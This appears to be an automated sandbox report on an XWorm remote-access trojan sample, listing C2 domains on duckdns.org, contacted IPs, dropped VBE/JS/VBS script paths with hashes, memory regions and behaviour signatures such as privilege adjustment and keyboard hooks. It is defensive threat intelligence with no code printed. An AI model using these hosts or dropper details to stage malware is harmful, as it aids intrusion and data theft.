US	204.11.59.34:443	cleverjoyas.cl	tcp
US	8.8.8.8:53	34.59.11.204.in-addr.arpa	udp
US	8.8.8.8:53	hvn8500newmay.duckdns.org	udp
US	12.221.146.138:8500	hvn8500newmay.duckdns.org	tcp
US	8.8.8.8:53	31.243.111.52.in-addr.arpa	udp
US	8.8.8.8:53	88.251.17.2.in-addr.arpa	udp
US	8.8.8.8:53	nzaria.org	udp
AU	185.184.154.17:443	nzaria.org	tcp
US	8.8.8.8:53	17.154.184.185.in-addr.arpa	udp
US	8.8.8.8:53	171.117.168.52.in-addr.arpa	udp
NL	52.142.223.178:80		tcp
US	8.8.8.8:53	76.234.34.23.in-addr.arpa	udp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
US	8.8.8.8:53	32.25.90.104.in-addr.arpa	udp
US	8.8.8.8:53	170.101.63.23.in-addr.arpa	udp

Files

memory/380-0-0x00007FFD9A2E3000-0x00007FFD9A2E4000-memory.dmp

memory/380-1-0x0000000000A90000-0x0000000000A9E000-memory.dmp

memory/380-2-0x00007FFD9A2E0000-0x00007FFD9ACCC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\zxwuch.vbe

MD5	8ec786faaa5a362811fd1619b154491a
SHA1	71bb2855f0a7310e03a314d36bee6834a4a1e0bd
SHA256	a0db4681c448441398ef9c2ed196614fa9a6cbcf88292b865282d0e1cc787554
SHA512	a6d184f84b4edcb2689f69bf409e837919bac747e4dae083b54df6cc58aa4e28732cc667667b73bd85155c97b7f9247fe423cdf412d5fd4fb917857cdbe171cf

C:\Users\Admin\AppData\Local\Temp\kaqlax.js

MD5	328765aecc6d2133216750c1b177bb47
SHA1	078149068c875b447f6d936255716e02deef08a3
SHA256	e8ea76d1543e92d8cf8446332af71ae00ffb86f15aaf22aaf5c8d3ba39e915fc
SHA512	11373f2da96edee3e0de2d9f202564a5ae2636b4555cab3d3ad2d54aeccbf20e7e2104039087a4566439a85772a9c714adc6683c5094b70d658e8f93db0e44c5

C:\Users\Admin\AppData\Local\Temp\ucaxju.vbs

MD5	44cc7d8bb2eaa90cb7ebfe43745bf6bf
SHA1	8a8624f10c91710ddfb562816c08f4bdb86444fb
SHA256	7a23828abf2a8e261bb2ed2575f4034941524d032968f96e06e18200898202fd
SHA512	431458777fc04012c65f5282f7f5da59441ac6753f6c791051183991169cbeed34caa22bd7fde10b975db54c29fd7173e68b08414d1893e03952a2953efe289e

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

MD5	1bfe591a4fe3d91b03cdf26eaacd8f89
SHA1	719c37c320f518ac168c86723724891950911cea
SHA256	9cf94355051bf0f4a45724ca20d1cc02f76371b963ab7d1e38bd8997737b13d8
SHA512	02f88da4b610678c31664609bcfa9d61db8d0b0617649981af948f670f41a6207b4ec19fecce7385a24e0c609cbbf3f2b79a8acaf09a03c2c432cc4dce75e9db

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

MD5	67c140c754783d577aae499645f84fb2
SHA1	02d279343933eb803954ffca4cd48d014e097509
SHA256	6f67d4ffe1403deab691b9635bff507ded0eeb0fa38d43ef2e66df49926bd7cd
SHA512	992a8767c93729b2e2d11b1c39bb798a07a5a247014855be77ead4488c743519b32d77bb2085883c2ac222fb56f3595a4a873135de6d6fb1128d416d81e7d7d3

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

MD5	a08991b3b3149042115bebb75a76ccc0
SHA1	4f1a11c57b43422713fcb9c7af450a3a547ad11d
SHA256	827224a17beecdd911e49e0f09ab9665246f781744d1241545d6aefe2e67c788
SHA512	dc3f8319b0a7ab3e3a37447cdd60b3772bbb5e73cd44e9e58c2ad979dcd68f48f675c8a0a2626e9d3af5d4c664a9dcc52b786b69946236d8f89d12371d987fac

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

MD5	10f32347608f10e896243906f203e1b3
SHA1	199be0e5efb3f3cf85d373c5c0edb1522d8b88f9
SHA256	4afa3487458abd802ec94de28cf44a739398ae1992618d0907ed8d2b72104f8d
SHA512	7f53005a872b2ff3f992320dcf079b51044f0360d6f16bfc29ea8e9d7cd995938c2468b1b12ce10297f94d923aef070af323e6c60a3d7ad11d9f4e2653919e48

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

MD5	8202a1cd02e7d69597995cabbe881a12
SHA1	8858d9d934b7aa9330ee73de6c476acf19929ff6
SHA256	58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5
SHA512	97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

MD5	b30e434dd5361c62ff6a818a96b3007c
SHA1	9032a5e81f190d5be24f6b233ba0bbc3bd788b92
SHA256	55c7ed110be3aa6886150e1a902544486762e8769945efe7b2c1ad312bc73b8a
SHA512	e99c0e9add91529d91547f8ca2f434a51fad11587dce4dbb44b150b19b586812e0f97852b54494f2faf07cf771abc009981829c19c23833a07f7c21a761df1f3

memory/5064-41-0x000001922C640000-0x000001922C662000-memory.dmp

memory/5064-45-0x000001922C950000-0x000001922C9C6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ewypouew.qpq.ps1

MD5	c4ca4238a0b923820dcc509a6f75849b
SHA1	356a192b7913b04c54574d18c28d46e6395428ab
SHA256	6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512	4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5	32eaf4d20471bf191944bc3dc862caa0
SHA1	a2c74289aa6e35abcc8618b84dfe8f90a994430c
SHA256	70475052f8acb4358d53b32628b6b18df1d5aa4f3191cde9f1c0aecfad361c2b
SHA512	b55fff04311684200a359e19be162d7031f34f63a9d17c6b10e54b89c948c7efd66ce62398def1d3949379df46b001007305958f286b3757d8a2c707173cec6e

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5	d737fc27bbf2f3bd19d1706af83dbe3f
SHA1	212d219394124968b50769c371121a577d973985
SHA256	b96b55a2acd9c790092e8132b31e5f0110492f98828098112d46f2f9faa2b982
SHA512	974c2db081dd6d1f45763371c41e01173b189ea1a2d893d0bc415670bfa12f3934ba9dea64018b8c063017454d4d92888d6fe6eaad1659e420ba9adcde5e788b

memory/4012-127-0x0000017EFB340000-0x0000017EFB52E000-memory.dmp

memory/3328-162-0x0000000000400000-0x0000000000474000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5	0e73807456424492408ea45841692fc6
SHA1	f0f64db257ce403de2d95498eaf1774c1a2c70e9
SHA256	630535184f9a08f02d0e81422a9cea47df8f0f788f95459cfa9bf9531cb0b5b1
SHA512	107535a4df79b89be4e1f299fb2df9178934f0b0fdfb8929d640b0ef8c3076c501e0502602db4199e4605959a5a18df2d8010eb956c0bc5832eea095719960fa

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5	b159dcdcf3ffefe248fb866ecb98fcc8
SHA1	5d1b56f9a0fc2ee02bb2dcfd4e6b8a4945afee08
SHA256	158dc5dbbadbeb02ea37acda6017f2a1f054e66092637ccf27be8529e3b692c9
SHA512	49d6952b0bc66ea86856f25bbbffd4377c6cd82e532ea30d1e5762b09e0bdfbb8dad8e37dfba26406a4454f11ada9290feddf07e9d91abc7c923240cc247db21

memory/3328-171-0x00000000052A0000-0x000000000537C000-memory.dmp

memory/3328-197-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-172-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-175-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-233-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-231-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-230-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-227-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-225-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-224-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-221-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-219-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-218-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-215-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-213-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-211-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-209-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-207-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-205-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-203-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-201-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-199-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-195-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-193-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-192-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-189-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-187-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-185-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-183-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-181-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-179-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-177-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-173-0x00000000052A0000-0x0000000005377000-memory.dmp

memory/3328-6484-0x00000000053F0000-0x0000000005456000-memory.dmp

memory/380-6485-0x00007FFD9A2E0000-0x00007FFD9ACCC000-memory.dmp

memory/3988-6517-0x0000000004D20000-0x0000000004D56000-memory.dmp

memory/3988-6518-0x0000000007B70000-0x0000000008198000-memory.dmp

memory/3988-6519-0x0000000007670000-0x0000000007692000-memory.dmp

memory/3988-6520-0x00000000078F0000-0x0000000007956000-memory.dmp

memory/3988-6521-0x00000000082A0000-0x00000000085F0000-memory.dmp

memory/3988-6522-0x0000000007980000-0x000000000799C000-memory.dmp

memory/3988-6523-0x00000000089B0000-0x00000000089FB000-memory.dmp

memory/3988-6524-0x00000000087F0000-0x0000000008866000-memory.dmp

memory/3988-6539-0x0000000009F50000-0x000000000A5C8000-memory.dmp

memory/3988-6540-0x00000000096A0000-0x00000000096BA000-memory.dmp

memory/3988-6545-0x0000000009A20000-0x0000000009AB4000-memory.dmp

memory/3988-6546-0x0000000009980000-0x00000000099A2000-memory.dmp

memory/3988-6547-0x000000000AAD0000-0x000000000AFCE000-memory.dmp

C:\Users\Admin\AppData\Roaming\Kdfars211.Arb

MD5	ce88060ebdeccc770bc89dc05d8215c6
SHA1	98506225f9ce90bc392a68af9892578d45141ffe
SHA256	d502c8f727cc36b86146bf4085fa16adfb82ad1ffe769da1d6086613f6eccd77
SHA512	19d8a352f868b9ed8f71d800f3e256594d30c94eeae54afb2f96434810b117af07178f945e735e9f3d16562ecf07827597250f1e1281df3483509214ed1c75d9

memory/198380-773078-0x0000000003000000-0x0000000003074000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-06-13 21:22

Reported

2024-06-13 22:33

Platform

win10v2004-20240508-en

Max time kernel

1784s

Max time network

1794s

Command Line

"C:\Users\Admin\AppData\Local\Temp\junexw.exe"

Signatures

Detect Xworm Payload

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A

Xworm

trojan rat xworm

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\junexw.exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\junexw.exe

"C:\Users\Admin\AppData\Local\Temp\junexw.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	8.8.8.8:53	june9402xw.duckdns.org	udp

Files

memory/1200-0-0x00007FF849CA3000-0x00007FF849CA5000-memory.dmp

memory/1200-1-0x0000000000A40000-0x0000000000A4E000-memory.dmp

memory/1200-2-0x00007FF849CA0000-0x00007FF84A761000-memory.dmp

memory/1200-3-0x00007FF849CA0000-0x00007FF84A761000-memory.dmp

Sample ID	240613-z763yszgnh
Target	junexw.exe
SHA256	9c33e83331c4e2e954f355f453bd32add84016d45e6434d568fb56b690de26ce
Tags	xworm execution rat trojan persistence spyware stealer

Malware Analysis Report

2024-09-11 10:22

Table of Contents

Analysis Overview

Threat Level: Known bad

Malicious Activity Summary

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files